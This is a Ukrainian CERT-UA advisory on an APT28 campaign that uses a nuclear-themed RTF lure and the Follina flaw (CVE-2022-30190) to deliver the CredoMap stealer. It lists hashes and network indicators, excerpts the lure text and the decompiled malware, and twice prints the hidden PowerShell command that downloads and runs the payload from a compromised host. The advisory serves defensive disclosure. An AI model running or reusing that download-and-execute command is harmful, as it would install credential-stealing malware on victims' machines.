

# Кібератака групи APT28 з використанням шкідливої програми CredoMap (CERT-UA#4843)

---

## Загальна інформація

Урядовою командою реагування на комп'ютерні надзвичайні події України CERT-UA виявлено шкідливий документ "Nuclear Terrorism A Very Real Threat.rtf" відкриття якого призведе до завантаження HTML-файлу та виконання JavaScript-коду (CVE-2022-30190), який забезпечить завантаження та запуск шкідливої програми CredoMap.

Мета-дані свідчать про модифікацію документу 09.06.2022, а отже його розповсюдження могло бути здійснене ще 10.06.2022.

За сукупністю характерних ознак вважаємо за можливе асоціювати виявлену активність з діяльністю групи APT28.

## Індикатори компрометації

### Файли:

```
eaafa11070f213f16efc030f625a423d1
daaa271cee97853bf4e235b55cb34c1f03ea6f8d3c958f86728d41f418b0bf01      Nuclear
Terrorism A Very Real Threat.rtf
ab6c70af19f7d41a443feb8ccb57d264
14ae02c521b85e60b11393ffc0da5e25946c4775a84995800b73398df4bceffb
article.html
56a504a34d2cfbfc7eaa2b68e34af8ad
9309fb2a3f326d0f2cc3f2ab837cfd02e4f8cb6b923b3b2be265591fd38f4961
SQLite.Interop.dll (Легітимна DLL)
d3bddb5de864afd7e4f5e56027f4e5ea
2318ae5d7c23bf186b88abecf892e23ce199381b22c8eb216ad1616ee8877933      docx.exe
(CredoMap)
```

### Мережеві:

```
hXXp://kitten-268.frge[.]io/article.html
hXXp://kompartpomiar[.]pl/grafika/SQLite.Interop.dll
hXXp://kompartpomiar[.]pl/grafika/docx.exe
162[.]241.216.236
```

kitten-268.frge[.]io

frge[.]io (потребує додаткового моніторингу)


kompartromiar[.]pl (вірогідно, скомпрометований веб-ресурс)

seo@specialityllc[.]com

Хостові:

```
%USERPROFILE%\docx.exe
%USERPROFILE%\SQLite.Interop.dll
cmd.exe /k powershell -NonInteractive -WindowStyle Hidden -NoProfile -command
' & {iwr http://kompartromiar.pl/grafika/SQLite.Interop.dll -OutFile
"C:\Users\%ENV:UserName\SQLite.Interop.dll";iwr
http://kompartromiar.pl/grafika/docx.exe -OutFile
"C:\Users\%ENV:UserName\docx.exe";Start-Process
"C:\Users\%ENV:UserName\docx.exe"}'
```

Графічні зображення

 <p>As Russian President Vladimir Putin confronts a series of humiliating battlefield setbacks since his February 24 invasion of Ukraine, and amid an increased flow of Western arms into the country, <a href="#">the risk of escalation</a> remains all too real.</p> <p>So we asked some of our top experts to answer three burning questions about a scenario that has alarmed many analysts watching this war unfold: the Kremlin following through on its <a href="#">threats and using nuclear weapons in the conflict</a>. They weighed in on the chances of Putin taking the fateful step, how he might do it, and how the West would likely respond.</p> <p><b>Q1: What is the likelihood that Vladimir Putin uses nuclear weapons in the course of the war in Ukraine?</b></p> <p>Putin is more likely than not to use nuclear weapons in the war in Ukraine if he faces devastating defeat. If Putin perceives an existential threat to his regime, then he will be compelled to prevent that outcome—even if that requires taking risky escalatory steps. Nuclear weapons are the ultimate tools of last resort; any rational leader would consider using them if his or her regime (or life) were on the line.</p> <p>—<i>Kyle Lohr</i>, is a nonresident senior fellow in the Forward Defense practice of the Atlantic Council's Scowcroft Center for Strategy and Security</p> <p>—<i>Daryl Press</i> is an associate professor of government at Dartmouth College.</p> <p>Putin presumably expects his threats will induce NATO to abandon Ukraine. However, if he believes he is facing defeat or a costly stalemate—<i>is there a chance of success through sharp escalation</i>—there is some non-zero (perhaps a worryingly high 1 or 2 percent) risk he will carry out his threats. Even a small risk is deeply dangerous, and he should recognize the risk of starting a nuclear war, so deterring him is the most desirable outcome. Accordingly, NATO should stay ready that any nuclear attack by Russia would meet with a response potentially including nuclear weapons.</p> <p>—<i>Walter Slocombe</i> is a board director at the Atlantic Council and a former US under secretary of defense for policy.</p>	<p>In my view, the probability is very low—not zero, but less than 5 percent. Putin's nuclear saber-rattling has been aimed at deterring the United States and its allies from escalating their involvement in the war and introducing advanced military capabilities that could give Ukrainian forces a decisive advantage. If Russian forces suffered another humiliating defeat in the campaign to control the southeastern Ukrainian region of Donbas, Putin could be pressed by hardliners to deliver on his nuclear threats, but he is unlikely to do so, since the would only galvanize a fresh US and allied response without providing any significant military advantage. Even in the wake of a major military setback, Putin would not likely run the risk of uncontrolled escalation by being the first to break the nuclear taboo. He is more likely to escalate conventional attacks on Ukrainian civilians and infrastructure, as well as against allied [weapons] resupply operations.</p> <p>—<i>Alexander Vershbow</i> is a distinguished fellow at the Council's Scowcroft and Eurasia centers, served as US ambassador to Russia from 2001 to 2006, and was deputy secretary general of NATO from 2012 to 2016.</p> <p>The likelihood is very low. Nuclear deterrence works in peacetime, and it has worked to prevent the use of such weapons in past crises and confrontations (such as in Cuba, on the Korean peninsula, and in Vietnam).</p> <p>—<i>Jan Lodal</i> is a distinguished fellow at the Scowcroft Center and was president of the Atlantic Council from 2005 to 2006.</p> <p><b>Q2: If Putin were to use nuclear weapons in the conflict, what's the most likely way he would do so?</b></p> <p>The goal of nuclear escalation would be to send the message that Russia will not accept a devastating defeat and, accordingly, that the United States and its allies need to back off. Since the goal would be coercion, Putin would seek to create fear instead of rage. Thus, nuclear weapons would be used in Ukraine rather than on NATO territory, and they would be used against military, not civilian, targets. We would also expect Russia to seek some military advantage out of nuclear use (though this would be of secondary importance), so any attack would likely involve downing half a dozen low-yield air bursts (in order to minimize fallout) against well-entrenched Ukrainian military positions.</p> <p>—<i>Kyle Lohr</i> and <i>Daryl Press</i></p> <p>Putin's motive would not be military in nature, but rather intimidation. He might begin with the ostensible movement of nuclear forces, such as sending weapons to Russia's Baltic enclave of Kaliningrad. He could order a "demonstration" or possibly a detonation at a Russian test range. For an actual attack, he might target a facility in Ukraine (or conceivably in Poland) associated with Western supply of arms.</p> <p>—<i>Walter Slocombe</i></p>	<pre>namespace DocumentSaver {     // Token: 0x02000005 RID: 5     internal class Program     {         // Token: 0x0060000A RID: 10 RVA: 0x000022F4 File Offset: 0x000004F4         private static void connect(string server, int port)         {             // Token: 0x0060000B RID: 11 RVA: 0x00002300 File Offset: 0x00000500             private static void login(string login, string password)             {                 // Token: 0x0060000C RID: 12 RVA: 0x000023F4 File Offset: 0x000005F4                 private static void selectFolder(string folderName)                 {                     // Token: 0x0060000D RID: 13 RVA: 0x00002400 File Offset: 0x00000600                     private static void create(string text)                     {                         // Token: 0x0060000E RID: 14 RVA: 0x00002524 File Offset: 0x00000724                         private static string chi()                         {                             // Token: 0x0060000F RID: 15 RVA: 0x00002828 File Offset: 0x00000A28                             private static void fzf2()                             {                                 // Token: 0x00600010 RID: 16 RVA: 0x000029BC File Offset: 0x00000BBC                                 private static string fff1()                                 {                                     // Token: 0x00600011 RID: 17 RVA: 0x00002BCC File Offset: 0x00000DCC                                     private static byte[] GetBytes(SQLiteDataReader reader, int columnIndex)                                     {   // Token: 0x00600012 RID: 18 RVA: 0x00002C44 File Offset: 0x00000E44   private static string ch2()   {   // Token: 0x00600013 RID: 19 RVA: 0x00002EBC File Offset: 0x000010BC   private static string ed1()   {   // Token: 0x00600014 RID: 20 RVA: 0x00003134 File Offset: 0x00001334   private static string ed2()   {   // Token: 0x00600015 RID: 21 RVA: 0x0000344C File Offset: 0x0000164C   private static string Base64Encode(string plaintext)   {   // Token: 0x00600016 RID: 22 RVA: 0x00003A70 File Offset: 0x00001870   private static void del(string name)   {   // Token: 0x00600017 RID: 23 RVA: 0x00003A8C File Offset: 0x0000188C   private static void Main(string[] args)   {   // Token: 0x04000006 RID: 6   private static string creds = "seo@specialityllc.com";   // Token: 0x04000007 RID: 7   private static NetworkStream ssl = null;   // Token: 0x04000008 RID: 8   private static TcpClient tcp = null;   // Token: 0x04000009 RID: 9   private static List&lt;string&gt; folders = new List&lt;string&gt;();   // Token: 0x0400000A RID: 10   private static int viewSize = 0;   // Token: 0x0400000B RID: 11   private static int messageSize = 0;   }   }   }   }   }   }                                     }                                 }                             }                         }                     }                 }             }         }     } }</pre>
<pre>document/2006/relationships/webSettings" Target="webSettings.xml"/&gt;&lt;Relationship Id="rId7" Type= w,telegraph.co.uk/news/2022/05/08/nato-cannot-afford-dismiss-putins-nuclear-threats-bluff/" ment/2006/relationships/fontTable" Target="fontTable.xml"/&gt;&lt;Relationship Id="rId2" Type= l"/&gt;&lt;Relationship Id="rId1" Type= &lt;Relationship Id="rId6" Type= w.atlanticcouncil.org/in-depth-research-reports/report/managing-escalation-in-ukraine/" ment/2006/relationships/hyperlink" Target="https://www.atlanticcouncil.org/expert/jan-m-lodal/" ent/2006/relationships/oleObject" Target="http://kitten-268.frge.io/article.html" TargetMode = relationships/hyperlink" Target="https://www.atlanticcouncil.org/expert/alexander-sandy-vershbow/"</pre>		
<pre>cmd.exe /k powershell -NonInteractive -WindowStyle Hidden -NoProfile -command '&amp; {iwr http://kompartromiar.pl/grafika/SQLite.Interop.dll -OutFile "C:\Users\%ENV:UserName\SQLite.Interop.dll";iwr http://kompartromiar.pl/grafika/docx.exe -OutFile "C:\Users\%ENV:UserName\docx.exe";Start-Process "C:\Users\%ENV:UserName\docx.exe"}'</pre>		